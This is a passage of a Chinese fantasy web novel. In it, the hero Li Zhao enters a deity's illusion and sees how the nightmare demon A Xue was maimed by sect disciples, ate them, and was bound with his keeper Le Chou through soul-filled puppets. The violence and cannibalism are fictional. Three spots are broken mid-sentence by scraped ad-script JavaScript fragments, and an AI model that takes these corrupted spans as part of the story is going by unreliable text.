黎昭站在原地,不言不语,仔细打量着无忧城主。 魇魔最擅长梦魇之术,只听说过魇魔入侵凡人的梦境,可从未听说过有人修能入侵魇魔的梦境。 此事定有蹊跷。 乐愁半膝跪地,见到黎昭的目光扫来,黑白分明的双眼立即溢满惊喜,隐隐有泪光,说道:“神仙,你还记得我吗?” 这话倒是奇怪,白天跟梦里的自己,不是一个人吗? 黎昭低头望向水面。 水面中的自己跟“林照之”是一样的面孔,秀雅清和,衣着装束却大相径庭。 他一身羽衣,光华流离,并未束发,长发似瀑,几乎要垂在水面之上。 梦中的他眉眼平和,似一尊无悲无喜的神像。 与这般的自己对视,黎昭莫名有种被看穿的错觉。 这就是神仙吗? 黎昭嘴角勾起一抹属于他本人的微笑,水面中的神仙仍旧是那副平静的面孔,眼中渐渐泛起悲悯。 水中的倒影是在可怜我? 乐愁见黎昭并无反应,竟膝行而来,平镜般的水面泛起涟漪,吹皱了那尊神像。 “神仙,”乐愁死死抓住他的衣角,眼中已落下泪来,说道,“我辜负了仙长的信任,事情已不能挽回,求您——” 他话及一半,从身后涌出一股团团黑雾将他尽数裹在其中。 乐愁顿时惊慌失措,他猛然一推黎昭,说道;“你快走!” 黎昭往后一倒,又重新落在了无忧城的客床上,他被这一通的梦境搞得莫名其妙。 肯定是那只叫做阿雪的魇魔作祟! 黎昭睁开眼,双眼金芒熠熠,正要去找那只魇魔时,突然心头一惊。 夜雾沉沉,烛火不知何时熄灭了,四周黑得可怕。 他的床边站着一道暗色红影。 喜神静悄悄地站在了他的床前,一身红衣晕染着诡异的红光,似血色染就的盖布无风自动,露出了喜神的脸。 黎昭只觉得脑门被一击重锤狠狠敲击,瞬间头晕目眩,意识在极短的时间内陷入幽冥地府,又被抛至九霄云外。 念神乃是千年万年来民众的念想累积,本是无形无相,若是见到念神的面目,往往无法承受这股汹涌的意念。 黎昭脑中充斥着无数嘈杂的声音,脑门上冷汗津津,朦朦胧胧间,他见到喜神抬起了两只青白的手。 指尖红甲尖尖,朝着黎昭伸来。 极端的恐惧让黎昭清醒了一瞬,他手中凝结出一道漆黑的剑刃,正欲出手时,突然一道剑气袭来,裹挟着无上剑意,蛮横地斩断了喜神的双手! 15. 无忧 一道人影立在黎昭面前。 白解尘执剑而立,应召剑上淌着念神的血,血一点一点顺着剑尖落下,化为无形的烟雾。 直到今时今刻,他才全然释放出合道境界的威压,犹如巍峨雪山立在众人面前,顿时万籁俱寂,阒然无声。 缩在床角的黎昭一时间都有了逼仄之感,境界的压制让他的瞳孔无意识地颤抖,呼吸不畅。 “邪神恶灵,也敢在此放肆。” 白解尘的语调依旧是不急不缓,透着一股森然的杀意。 这时黎昭才刚偷偷抬眼,见了执剑的那只手,忘川之水腐蚀了他大半的手掌,露出森白的指骨混着模糊的血肉,看上去触目惊心。 饶是如此,他握剑的手没有丝毫颤抖,带着一往无前的惊人气势。 喜神被斩断了双手,痛得难忍尖叫,头顶的头盖布不住地颤动,它是世间念想所化,本就没有实体,阵痛之下双手的断口处又重新长出了双手。 身体恢复,疼痛的记忆仍在,喜神怨恨的视线透过盖布直直地射向白解尘,惊惧害怕之下,祂竟然还想要袭击黎昭,刚生长出的双手快如闪电,黑暗中晃出模糊的红影,朝着黎昭抓去。 白解尘面对民间的神祇没有丝毫的敬畏,他冷道:“不知悔改。” 方才斩断喜神的双手是应急之策,白解尘出手一向是干净利落直取要害,他手中的剑光一闪,瞬息间已然来到喜神的胸前。 念神幻化成人形,心口亦是其破绽。 白解尘竟是要直接杀死喜神! 黎昭心惊肉跳,下意识喊道:“住手!” 剑锋稍一停顿,随即剑尖没入喜神的心口。 喜神痛到了极点,即使如此,它居然不管不顾冲来,仍由应召剑贯穿它的心口,伸长了那只青白可怖的手,冰冷的手掌距离黎昭仅有一寸。 一滴眼泪顺着喜神的下颌垂落,滴在了黎昭的手背。 滴答。 黎昭的双目瞬息笼上了一层光怪陆离的影像,无数的话语声以极快的速度疾驶而过,他的意识再也抵挡不过这过载的信息量,大脑轰得一声,陷入了一切寂静。 * “客官?” 有人在喊他。 黎昭浑身一颤,随即反应过来,他好像沾染到了喜神的一滴眼泪,那现在,是在喜神塑造的幻境之内。 这是千年前的无忧城,彼时的无忧城还不叫无忧城,只是一座籍籍无名的小镇。 低头看着自己的衣服,是那件纤尘不染的白衣,仔细看去,衣料隐隐有细鳞状的秘甲排布,光华流转,不似凡物。 他也未曾束发,仍由黑发垂在地上,抬头看向那出声的店小二,黎昭轻轻吸气。 这名店小二居然同千年之后的店小二长得同一副面孔! 黎昭仔细观察四周,是寻常的凡间酒店,外头传来一声吆喝。 “诸位乡亲父老,走一走,看一看,不要错过,新鲜的魇魔,过了这村就没这店咯!” 一位年轻的道士正敲锣打鼓,正是千年之后的无忧城主乐愁。 在他的面前站着一只幻化成人形的魇魔。 魇魔年龄尚幼,看上去只有八九岁的年纪,肤白胜雪,面容精致,头顶长着一对小小的魔角。 周围人正对着他指指点点,魇魔似乎受不了这般的屈辱,金瞳闪着泪光,细白的牙齿死死咬住下唇。 普通百姓仅是听说过魇魔,更不曾见过,如今居然在闹市中见到孩童模样的魇魔,好奇战胜了恐惧,纷纷围上来。 “这就是魇魔,怎么还是个小孩?” “不是说魇魔都是浑身漆黑的凶兽,这小孩怕不是假的魇魔吧?” 乡亲们议论着,尚是道士的乐愁见状,拎着小魇魔像是一个物件似的,说道:“如假包换,这可是我从北垣雪原上抓来的。” 魇魔握紧了拳头。 即便是幼年期的魇魔也是修士们的噩梦,若他稍稍抵抗一下,恐怕这里所有的百姓都会被尽数吞噬。 但是这只魇魔没有,他只是闭上了双眼,仍由那些好奇、忌惮、恐惧的目光掠过他的脸。 黎昭在一旁看得啧啧称奇。 他们魇族骨子里带着桀骜不驯,像这个小魇魔般受到奇耻大辱不反抗的,倒是少见,恐怕这名魇魔就是那个仆人阿雪。 乐愁展示完年幼的魇魔后,又给他递上了一柄木剑,像是逗弄宠物般说道:“去,给大家表演个。” 阿雪抿住嘴唇,金瞳中流露出恨意。 乐愁拉住他,斯文清秀的脸蛋上尽量露出凶狠的表情,低声道:“不去晚上就没吃的!” 阿雪瘦削的胸膛起伏了片刻,最终屈服于乐愁的威逼,不情愿地拿过他手中的木剑,有模有样地挥舞起剑法。 这套剑法稀松平常,最寻常的修士也看不上,但舞剑的是魇魔,那又不同了。 乡亲们看着实在新奇,丢了几枚铜钱在地上。 乐愁一边道谢,一边蹲在地上捡起那些落灰的铜板,有些乡亲们故意把铜板掷在他身上,乐愁也毫不在意。 直到晚上,乐愁和阿雪才积攒了一贯铜钱。 “真好,比我祖传的木偶戏赚钱多了!”乐愁喜滋滋地抱着一贯铜钱,看着瘦小的魇魔,说道,“这法子不错吧。” 阿雪仍沉浸在白日所受的屈辱中,一言不发。 乐愁见惯他这样的性子,也懒得去安慰。 两人回到了一间破败的茅草屋内,乐愁先是在地上挖开一个土坑,埋好了钱财后,又从土坑里掏出三柱香,对着角落的喜神雕像恭恭敬敬地拜了三拜。 喜神娘娘面目模糊,袅袅青烟被她尽数吸入体内。 乐愁喜笑颜开,说道:“求娘娘庇护,愿我今后发大财。” “哼,”阿雪恨恨地盯着那喜神雕像,“总有一天我会砸了你。” 话音刚落,他周身闪过一道红晕,无数道红色细线顿时将他束缚在了原地。 阿雪似乎早就习惯,他狠狠地踹了两脚,挣脱不过就似死了一般,躺着不动了。 黎昭趴在茅草屋的屋顶,见到那红色的细线也是心有余悸,原来这乐愁是喜神在人间的眷属,怪不得能制住那魇魔。 喜神是较为常见的念神,由于大家的愿望多是祝愿喜乐安平,喜神的力量也较为薄弱,修士们忌惮她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也是怕染上因果。 白解尘那样斩断喜神的双手,她也只会掉眼泪。 到了半夜,阿雪终于有动静了,他睁开了微微发光的金眸,看了眼在角落呼呼大睡的乐愁,口中咒骂了几句。 空旷寂静的黑夜里响起了咕咕声。 阿雪捂住肚子,死死地盯着乐愁,脸上终于露出了属于魇魔的狰狞,像是恨不得将他生吞活剥了一般。 闭眼装睡的乐愁噗呲一笑,从怀里掏出一块又干又硬的馒头,朝着阿雪走来,说道:“看你还敢不敢骂喜神娘娘。” 他说着,掰碎了几块馒头,递给阿雪。 阿雪此时属于魇魔的倔强又涌上来了,紧紧闭着嘴巴不说话。 乐愁也不恼,硬是掐着他的嘴巴,把那些干硬的馒头塞了进去,“吃吧,明天我们还要换个地方卖艺呢,听说最近有两仪门的弟子来这边捉妖。” 黎昭在屋顶上看着实在可怜,幼年的魇魔依靠着暗渊的魇气生存,若是离开暗渊,也要吃点活物才能长大,吃个馊馒头说出去都丢了魇魔的脸面。 阿雪忍受着莫大的屈辱,咽下了馒头,说道:“吝啬鬼,吃什么馒头,我要他们全吞了。” 乐愁当他是饿糊涂了,给了他脑门一个板栗,说道:“吃吃吃,就想着吃,当初你娘把你托付给我,我答应她要好好照顾你的。” “那不是我娘,”阿雪挣扎了一下,又实在没有力气,“她养着我,是为了吃我。” “天下间哪有吃自己儿子的?”乐愁瞧着阿雪,像是在看傻子,说道:“算了,不跟你争,睡吧,明天还要赶路呢。” 一夜过去,阿雪饿极了,睁着眼硬是撑着到了凌晨。 乐愁整理好了埋下的钱财,又恭恭敬敬地请了喜神娘娘,把她绑在了背上。 阿雪则是将自己包裹严实,戴上兜帽,背上了一个大木箱,是乐愁祖传的木偶戏台。 两人趁着天还未亮,偷偷溜到城外,没想到正巧遇上了捉妖归来的两仪门弟子。 乐愁吓了一跳,想带着阿雪往回走,不巧被一名眼尖的两仪门弟子看见。 “喂,前面那个!”两仪门弟子唤出飞剑,挡住了两人的去路,“你供奉的可是喜神?” 乐愁松了一口气,给了阿雪一个眼神,让他不要轻举妄动,对着那名弟子陪着笑脸,说到:“仙长,我供奉的正是喜神,在下祖上乐偃师。” 那位两仪门弟子听到乐偃师的名头,嗤笑一声,说道:“原来是做戏的,也就是你们这些下九流的会供奉这种没用的念神。” 乐愁脸上的笑容依旧未变,语气却不卑不亢地说道:“大道千万,各自有路,仙长请自重。” 两仪门弟子正是年轻气盛的时候,被乐愁一激,不屑道:“没用就是没用,你们喜神那有我们两仪门供奉的魁斗帝君神气。” 眼见他们又要纠缠,乐愁不欲生事,他心里请示了喜神娘娘后,说道:“就此别过。” 两人低着头,从那几位两仪门弟子的身旁经过。 突然听到其中一名较年长的弟子说道:“等一下。” 他取出一枚妖铃,说道:“有魇魔在附近!” 16. 祸端 乐愁心都凉了大半。 事到如今也只能装傻充愣,他后退几步,身影恰好挡住了阿雪,四处张望,说道:“魇魔?魇魔在哪里?” 两仪门的弟子也只有听过魇魔的威名,他们都拔出了仙剑,也有弟子提议说快去报告自家仙门的长辈。 “大家不要惊慌,”那名拿着妖铃的弟子面色严肃,说道,“这魂铃的感应很弱,不一定是魇魔。” 一名弟子抱怨道:“大师兄,怎么回事?能不能靠谱一点!” 妖铃是各个仙门弟子出门捉妖的必备物件,凡是附近有妖物在便会自动报警,根据妖物的凶猛程度不同,妖铃表面的颜色也不尽相同。 现在这枚妖铃表面泛着不详的红光,颜色又十分微弱,微弱到可以忽视。 “我也不知道啊,”大师兄面露难色,“妖铃呈红色,我也只是在书上见过,也不知道对不对。” “据说魇魔很会伪装,”说话的是出言不逊的那名弟子,“一般妖铃也测不出魇魔所在,除非是受了伤的魇魔。” 乐愁越听越心惊,他偷偷握住了阿雪的手。 阿雪的掌心都是冷汗,冰凉一片,小小的手都在颤抖。 乐愁小声说:“走。” 两个人悄无声息地准备离开时,大师兄手中的妖铃骤然亮了一瞬,他指着阿雪和乐愁说道:“他们就是魇魔!” “什么!” “魇魔!” “捉住他们!” 乐愁拉着阿雪使劲往前奔跑,一道剑气飞来,割开了遮脸的兜帽,就连乐偃师留下的木偶戏台都散到了地上,细小的零件滚落到一旁的田地里。 阿雪紧紧地闭着眼,不敢让他们看见自己的金瞳。 可他头顶的魔角完完全全暴露了他魇魔的身份。 “是一只小魇魔!” “拦住他们,别让他们跑了!” 数名两仪门弟子将二人团团围住。 乐愁把阿雪塞到了自己的身后,明白遇到了麻烦,说道:“各位仙长,我们二人在此地卖艺,阿雪从未做过坏事,还请诸位高抬贵手,今日过后我们不会再出现在诸位面前。” 两仪门弟子像是听到天大的笑话,锋利的剑尖指着阿雪,说道:“呸,魇魔最喜欢吃人心,你这只魇魔怕也是吃了不少人心吧?” 躲在乐愁身后的阿雪忍不住探出头来,金眸盯着那名弟子:“我没有。” 他不愿意说出自己吃馒头这样丢魇的事情。 被那非人的金瞳一看,方才的弟子下意识地畏缩了一瞬,继而又鼓起勇气,说道:“魇魔生性狡猾,你以为我们会听你们狡辩,今日我等就要替天行道,杀了魇魔!” 他们从小都听闻魇魔的凶名,门中的师父师兄们都未曾遇过魇魔,更不要说猎杀一头魇魔,倘若今天割了那魇魔的头颅回去,也不知仙门中的长辈会如何嘉奖自己。 一想到此处,所有两仪门弟子都是一脸兴奋。 “仙长们,”乐愁上前一步,从怀里拿出了积攒了数年的积蓄,心痛至极,却又无可奈何,说道,“仙长们除妖辛苦了,请师兄们喝点茶水。” 见他拿出钱财行贿赂之事,大师兄眉心一皱,把那些铜钱银票尽数打翻在地,眼里尽是厌恶,说道:“降妖除魔是我辈的本分,你居然为了包庇邪魔行贿,与邪魔同流合污!” “对,我们不仅要杀了魇魔,还要把你捉到尸罗堂审问!” 多年积攒的铜板叮叮哐哐落地,乐愁急得满头大汗,祖上乐偃师也不过是一名金丹修士,技艺传承到他这一辈,早就没落了,仅能依靠着木偶戏谋生,行事也不免带着市井气。 “仙长,仙长们,”眼看他们又要来捉魇魔,乐愁又挡在面前,咬着牙说道,“我说的都是真话,这只魇魔是我在北垣捡到的,他母亲身受重伤,托我照顾好他,从小就是跟着我一路走来,从来没杀过生,他还小,求求你们放他一条生路吧。” 两仪门弟子不为所动。 “哼,就算你说的是真的,他现在不吃人,不代表他以后不吃人,你是铁了心要包庇魇魔,我们连你也一起杀了!” 他们不欲多言,挥剑刺向乐愁。 “等一下!” 乐愁身后的阿雪突然出现,他瘦小的身影挡在乐愁前面,金瞳里犹如在燃着火。 仙门弟子们畏惧魇魔,一时间都停在原地。 “你们不是嫌少吗?”阿雪眼里尽是讥讽,似看穿了这群仙门弟子,“我用魔角跟你们交换,如何?” 魔角? 两仪门的弟子们双眼一亮,眼里不由地透露出贪婪之色。 魔角可制作各式灵器,是世间最珍贵的天材地宝,魇魔一旦身死就会归于天地,除非是从活着的魇魔头顶取下魔角,这同送死也没什么区别,魔角的价值不可估量。 乐愁听闻,惊道:“阿雪不行,你娘亲不就是被割掉了魔角才死掉的?你怎么能——” “闭嘴,”阿雪厌恶地打断了他的话,“若不是被你抓住,我怎么会沦落到此。” 乐愁面色一白,往日他被阿雪不知骂了多少回,都没这句话伤得深,霎时眼里泛起了泪光。 阿雪转过身去,不想看他。 听到这只小魇魔居然愿意自动贡献魔角,就连两仪门的大师兄都心动了,“此话当真?” 阿雪点头。 “如果你愿意献出魔角也行,但是嘛,”大师兄目光闪动,围着阿雪看了一圈,说道,“你现在的魔角太小了,听说魇魔都有兽形,你若能化为兽形,那魔角也会大一点。” “你!”阿雪愤恨之极,金灿灿的眼眸几乎都要烧起来。 魇魔在化为兽形的时候最为虚弱,同时记忆也会倒退回孩童时期,这代表着将魇魔最脆弱的一面展露给这群人修,对于天生骄傲的魇魔而言,无异于平生最大的屈辱。 阿雪忍住怒气,硬声道:“好。” 他慢慢地蹲下身体,将自己缩成小小一团,身上升腾起浓浓雾气,雾气翻涌着逐渐汇聚成一团,待到雾气消散,一头通体漆黑的异兽出现在大家面前。 魇魔的原型各有不同,阿雪所化的兽形是类似雪貂,毛色漆黑,只有眉心一点白痕,背上有一对小小的薄翼翅膀。 最漂亮的是他头顶的两只魔角,玄墨的犄角表面似有宝光流转,蕴含着无穷无尽的力量。 两仪门的弟子们从未见过兽形的魇魔,纷纷围上来,指着笑道:“原来魇魔的兽形长这样,也不是很可怖嘛。” “这魔角倒是真的大了一些,师兄好见识,我怎么没有想到?” “没有见识怎么当你们的大师兄?”大师兄嘿嘿一笑,取出一柄短剑,轻巧地抓住了魇魔的一对翅膀,锋利的刀刃抵在了那对魔角上。 即使早有准备,阿雪还是闭上了圆溜溜的眼睛,身体害 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怕得微微颤抖。 乐愁在一旁看得心惊,他轻声地唤道:“阿雪。” 阿雪睁开眼,金色的圆瞳晶莹一片,两道眼泪流了下来,浸湿了漆黑的绒毛。 那刀刃割在他的魔角上,像是在割乐愁的心。 乐愁无法坐视不理,手中缠绕起丝丝缕缕的红线,丢弃在泥浆之中的喜神娘娘也亮起了红光,数道红线从他的手中挥出,念力汇聚而成的丝线缠住了两仪门大师兄的手。大师兄吃痛,忍不住丢下手中的短刃。 “你还敢还手!” 大师兄怒极,驱动着飞剑,毫不留情地割去了阿雪的魔角,飞剑在空中一转,贯穿了魇魔小小的身躯。 “啊——” 阿雪惨痛的叫声响彻夜空。 乐愁愣在原地,全身发抖,亦不知是害怕还是愤怒,或者两者皆有,他连忙扑向阿雪,不知该如何是好。 黑色的小兽倒在一片血泊之中,不知死活,头顶的伤口血流如注,像是永远也止不住的血泉,插在身上的剑刃仍在颤抖。 乐愁仿佛又见到了当年在北垣上捡到阿雪时的情景,他的母亲也是这般倒在血泊中,灰暗的金瞳中满是慈爱与不舍,她让乐愁带走阿雪。 “你养着他,卖了他都行,不要再回暗渊了,这里不是好地方。” 乐愁缓缓地低下头,声音无法抑制的颤抖,从齿缝里发出:“诸位仙长,你们拿了魔角,可以走了吧。” “走?”大师兄的手上还缠绕着喜神的红线,几乎要勒入骨肉,不消多时那只手怕是再也握不了剑了。 他痛得面目扭曲,怒道:“你为了一只魇魔居然敢伤害同门,看来你才是被魇魔迷惑的伥鬼!” “那个喜神也是助纣为虐!怕不是一尊邪神,砸了它!” “对!砸了那个邪神!” 眼看他们要砸了喜神娘娘,乐愁竭力护住那尊破烂不堪的泥塑,决绝道:“若我和阿雪死了,做鬼也不会放过你们!” 两仪门的弟子怒不可遏,无数道飞剑劈在乐愁的身上。 就在那飞剑触碰到乐愁身体的一瞬间,他怀里的喜神骤然发亮,不省人事的魇魔缓缓地睁开了眼睛。 金瞳里是极端的饥饿与憎恨。 等待了许久,乐愁都没感到飞剑劈下,他缓缓抬起头,冷风习习,面前空无一人。 这荒唐的景象让他一下子惊醒。 阿雪,阿雪怎样了。 乐愁的心似被剜了一大块,他茫然地往前走了一步,突然有人拍了一下他的肩膀,说道:“喂,在这儿呢。” 这声音年轻又富有磁性,动听至极,却把乐愁吓了一跳,他突然转身,怀里紧抱着喜神娘娘,紧张得说道:“谁,谁——” 接下来的话语止在了喉间。 面前站着一位身量颀长的少年,他的五官深邃,俊美到了极点,白到极点的皮肤使他浑身笼罩着一股非人般的邪魅。 轮廓优越的眉骨下的一双金眸,正居高临下地看着乐愁。 “阿,阿雪,”乐愁的喜悦盖住了所有恐惧,踮起脚尖握住他宽阔的双臂,黑白分明的双眼上下打量着,“你怎么活过来了,突然又长大了?那些仙门弟子呢?我是不是晕过去了好久?” 阿雪轻蔑一笑,露出森白的牙齿,他的嘴唇鲜艳似血。 “都被阿雪吃了,”阿雪舔了舔嘴唇,意犹未尽,“他们都被阿雪吃了。” 17. 缠丝 “吃了?” 乐愁盯着阿雪那红到极点的双唇,不可置信地重复了一遍,“吃了。” 这两个字是用气音发出的。 阿雪似乎还在回味第一次吃人的美妙,餍足地眯起眼,语气飘然:“这几个杂毛的修为平平,但勉强能填饱肚子。” 身旁站了一个吃过人的魇魔,乐愁心里抵挡不住的害怕,阿雪虽是他带在身旁养了多年,但毕竟是魇魔,听说魇魔一旦品尝到人的味道,便会控制不住心中的凶残。 他会不会吃了自己? 阿雪从吃饱的状态中慢慢回复了平静,见到乐愁那副魂不守舍的模样,心中骤然生出一股怒火,冷笑一声说道:“与其怕我吃了你,不如担心一下如何收拾残局吧?” 他的话将乐愁从无尽的幻想中拉回现实,说道:“残,残局?” 阿雪捡起那枚妖铃,嗅了嗅,说道:“这些人修被我吃了,久久不归,他们的长辈必定回来寻人,见到这妖铃也会猜个七八分。” 说着,他把那妖铃也吞入了腹中。 乐愁傻愣愣地站在原地,看着阿雪把方才打斗的痕迹都清理干净,在看见地上被割去的那一对魔角时,阿雪脸上露出了一丝嘲讽的笑意。 他捡起魔角放入自己怀中,又把那喜神娘娘的雕像丢给乐愁,“好好拿着,这婆娘还有点用处。” 等到喜神娘娘重新拥入怀抱,乐愁似乎才找回一丝理智,说道:“我们去找尸罗堂认罚吧?” 阿雪奇怪地看了他一眼,不理会乐愁不切实际的幻想,继续掩埋着自己留下的血迹。 乐愁一脚踩住那块血迹,迫使阿雪停下动作,看着那双陌生的金瞳,说道:“听说尸罗堂的人们都是秉公执法,我们跟他说明缘由,说不定能有一线生机。” “哦?是吗?”阿雪站直了腰板,身型带着属于强者的压迫,讥笑道,“你也说明了缘由,那些人修有放过我吗?我从未伤过人命他们尚且不放过我,更何况我吃了那群人?” 乐愁闭上嘴巴,神情有着不服气。 阿雪俯下身,直视着乐愁的双眼,恨声道:“我告诉你,魇魔在你们人修眼里就是原罪,无论我到底是善是恶,他们都会对我赶尽杀绝!这就是你们所谓的替天行道!” 这番话说的乐愁哑口无言,他支支吾吾了半晌,最终还是沉默了。 阿雪见他这样,又莫名地生气,故意高声道:“你如果怕被我连累,你赶我走好了,我回到暗渊去。” “不,不行,”乐愁拉住了阿雪,说道,“你不能回去,你这样回去肯定会没命的。” 阿雪顺势被拉得近了些,金眸闪烁着精光,低沉的声音犹如恶魔在蛊惑:“我有个好办法。” 乐愁见到那双漂亮的眼睛,像是被蛊惑了一般,喃喃道:“什么好办法?” 阿雪扳过他的肩膀,靠在他的耳边,轻轻说道:“你会做木偶,等你做了那几名两仪门弟子的傀儡,骗过来寻人的仙门长辈,不就是万全之策?” “不行!”乐愁猛然从魇魔的蛊惑中惊醒,“我们已酿成大错,怎么又能骗人?更何况,那些木偶怎么能骗过仙长们?” 从他的言语中听出别的意思,阿雪笑得十分自在,说道:“那些弟子的魂魄都被我拘在体内,你只需做好木偶,我将他们的魂魄注入,与生人无异。” 乐愁咬住下唇,挣扎了几番,直到怀中一个硬物硌住了他,是喜神娘娘。 喜神娘娘的眉心骤然出现了一道裂缝。 “我不会做的,”乐愁摇摇头,说道,“我不能犯错。” 笑容渐渐从阿雪的脸上消失,他的双眸透出深深的失望,更有一种被遗弃的绝望横亘在心头。 “好,很好,”阿雪定定地看着乐愁,眼圈逐渐热了起来,“那你走吧,不要待在这里,那些修士来抓我的时候,会把你一起带走的。” 乐愁还想说些什么,阿雪冲着他狠狠地说了句:“滚!不然我连你一起吃了!” 乐愁忍住眼泪,慌忙地朝着镇内跑去,等到跑得远了,又回头看去。 阿雪仍站在原地,望着他,轻声问道:“你真的觉得我错了吗?” 乐愁毅然地转身。 一直到天亮,阿雪都待在原地,他也不知道自己在期望些什么,亦或是等待着那群尸罗堂的人修来,来一场血淋淋的恶战。 小路的尽头出现了一道人影。 乐愁怀里抱着一堆制作傀儡的器具回来,不敢看阿雪的双眼,低着头说道:“答应我,只准做这么一次,如果被发现了,我们就去尸罗堂自首。” 乐偃师流转下的技艺高超,在魇族秘法的加持之下,那些仙门弟子的傀儡宛若重新复活了一般。 乐愁看着他们都十分恐惧,阿雪驱动着这些傀儡待在镇中,等着两仪门的仙长们前来寻人。 所幸两仪门的长老们并未起疑,只是疑惑这群弟子为什么突然不想修仙了,反而要待在这籍籍无名的小镇里。 他们也试探过这几名弟子的身体,并无异状,此地驻留了数日后,那些弟子仍旧是想留在此地,再也不回两仪门。 两仪门的长老们久劝无果也无法,这些小辈又是宗门的边缘人,仙缘各自有命,就随他们去了。 乐愁和阿雪不敢再离开这座小镇,他们时时刻刻照看着这群傀儡。 虽是傀儡,但他们有各自的魂魄,同活人并无二异,只是其中有些弟子还保持着傲慢的本性,让乐愁不得不替他们向乡亲邻里道歉。 一切看似风平浪静,但乐愁依旧闷闷不乐,他发现喜神娘娘眉心的裂痕逐渐扩散了。 他是喜神娘娘在人间的眷属,需要在人间行走,散布喜神娘娘的恩泽,但他却让喜神娘娘同自己一齐堕落。 乐愁知道,那天阿雪吃人,是喜神娘娘给予他的力量,但是他也知道,念神若堕落,人间会是怎样的一副景象。 也许已经显露端倪,这座小镇已经不像从前那般平安祥和,这股隐隐躁动的气息逐渐会扩散到远方,像一场严重又悄无声息的瘟疫,杀死人们心中的喜悦,让暴虐与残杀逐渐占据人们的心灵。 若是喜神死亡,那世间所有人会忘记有关喜神的一切,那些让人得以慰藉的美梦都会荡然无存。 每日每夜的煎熬,脸上再也没有笑容,人也日益消瘦,终有一日,乐愁等到了一个人。 那人悄然出现在小镇内的客栈里,身披羽衣,面容如皎月清辉,周围人都没有发现他的存在,那双毫无波澜的墨瞳正望着他。 乐愁见到他的第一眼,喜神也在他的怀中微微震动,脱口而出:“你是天上的神仙。” 神仙认得他,嘴角含笑,那笑意却没达到眼底,眼眸如同平静的湖面:“你是乐愁,喜神同我说过。” 他五官极为清雅,气质温和,乐愁常年惴惴不安的内心在见到他的一刹那,奇迹般的,被抚平了。 “我该怎么办?”乐愁鼓起勇气询问,“神仙,我能弥补这一切吗?” “道法自然,”神仙依旧是笑着,“世间不存在着弥补一说,我来此只是因为你。” 乐愁说道:“我?” “喜神原为念神,是世人念力凝聚而成,祂为世人所生,也应当对天下人一视同仁,可是,祂却有了私心。”神仙语气平淡,乐愁却听得浑身发冷。 念神一旦有了私心,就是堕落的开始。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 这一切都是他的原因,是他祈求喜神救救阿雪。 “都是我,都是我的错。”乐愁眼中溢满了清泪,“神仙,我愿意付出任何代价,真的,我愿意!” 神仙用近乎温和的目光看着他,说道:“并不是你的错。” 他摊开掌心,一道氤氲着宝光的丝线在他手中。 “此乃缠丝,只要你能心存念想,便可控制世间任何事物,一切交予你决定。” 乐愁恍恍惚取走了缠丝,等他反应过来,神仙已然消失不见。 客栈内依旧是人声鼎沸,无人见到这里曾坐着一位天人。 乐愁怀里抱着缠丝,跌跌撞撞地走在路上。 他脑中不住地回想着神仙的话语,迷茫的双眼最终坚定,在回家之前去了一趟尸罗堂,跟他们说,今晚要来此处捉拿魇魔。 等他到家时,乐愁发现阿雪正在门口四处张望,在见到他时,眼睛骤然一亮。 瞧见乐愁惨白的脸,阿雪皱眉道:“又替那群蠢货道歉了?” 乐愁直直地看着阿雪,像是呆住了,没有出声。 阿雪最讨厌见到他这幅模样,忍住气,说道:“我饿了。” 乐愁对“饿”一字尤为敏感,吓得一跳,说道:“饿了,你怎么不取钱买点吃的?” 阿雪脸色发红,声音又很大:“钱都归你管着,我不敢乱动!” 乐愁刚想笑,又止住了笑意,低声说道:“晚上不吃馒头了,我们去聚贤楼吃顿好的。” 阿雪没想到乐愁变得如此慷慨,也不疑有他,随着乐愁来到了聚贤楼,点了一大桌好吃的。 他吃得肆意,也注意到乐愁没什么胃口,还以为他在苦恼钱财的事情,像是献宝般说道:“小道士,我跟你说一个秘密!” 今天晚上乐愁每次听到阿雪的声音都心惊肉跳,此刻更是惊惧,颤声道:“什么?” “我把那两只魔角卖了,”阿雪一眨不眨地盯着乐愁,想看他的表情,“换了好多好多灵石,我们有钱了,你回来之前我在城北买了一座大院子,是之前那些修仙人住的房子,我们再也不用住草屋了!” 乐愁也是一阵惊喜,说道:“真的?你的魔角那么珍贵,为什么卖了?” 阿雪冷哼一声,说道:“我见到那些就生气,索性卖了,你累死累活不就是想买套房子吗?” 乐愁心里又酸又甜,纠正道:“我是要给喜神娘娘建座庙宇。” “随便,都一样,”阿雪说道,“再给那些蠢货每人配个院子,再找几个仆人伺候,不要再惹麻烦了!” 两人说尽了之前许下的愿望,那是每个晚上两个人斗嘴时的玩笑话,现在说起来竟是说不出的有趣。 乐愁的眼里也有了笑意,逐渐的,乐愁又沉默了下来。 阿雪不解地看着他。 乐愁沉思了许久,轻轻地说道:“阿雪,你要答应我,再也不做错事了,好吗?” 阿雪笑得真诚:“好啊,你放心,我会变好的!” …… 第二日清晨,两名尸罗堂的弟子从城北的一座院落出来,他们两眼浑浑噩噩,行至郊外,最后消失在了道路尽头。 黎昭望着那两人逐渐远去,隐隐想明白了什么,顿时有种毛骨悚然的感觉。 这两人恐怕也被做成了傀儡! 那整个无忧城,难道全部都是傀儡!? 他沉浸在这惊骇的真相之中,突然身侧出现了一团浓浓的黑雾,一道高大的人影自黑雾中出现。 完全恢复成年模样的阿雪正阴恻恻地望着他,猩红的舌头舔了舔嘴角,冷声道:“原来如此,原来如此,给乐愁缠丝的,居然是你。” 18.人质 幻境中的阿雪俨然是成年体态的魇魔,他身形高大,肩宽腰窄,及肩的黑发在空中乱舞,举手投足间都散发着邪气。 肤色宛如白瓷,高耸眉骨之下是一双深色的金眸,闪耀着凶残的精光,恨不得把黎昭宰成碎片。 魇魔都是天生的幻术宗师,他完全能侵入喜神的幻境。 在幻境里被杀死,轻则神智损伤,重则性命不保。 看着阿雪这架势,黎昭怕是凶多吉少,吗? “我?”黎昭故意瞪圆了双眼,装作很惊讶的样子,指着自己的鼻尖,“真的是我吗?” 阿雪眼里满是愤恨,说道:“若不是你蓄意蛊惑,乐愁怎么会想着把我抓起来!你这个道貌岸然的小人!” 他嗓音低沉,说出的话却是醋溜溜、酸唧唧。 分明是乐愁喊了尸罗堂的人,怎么怪到“林照之”头上? 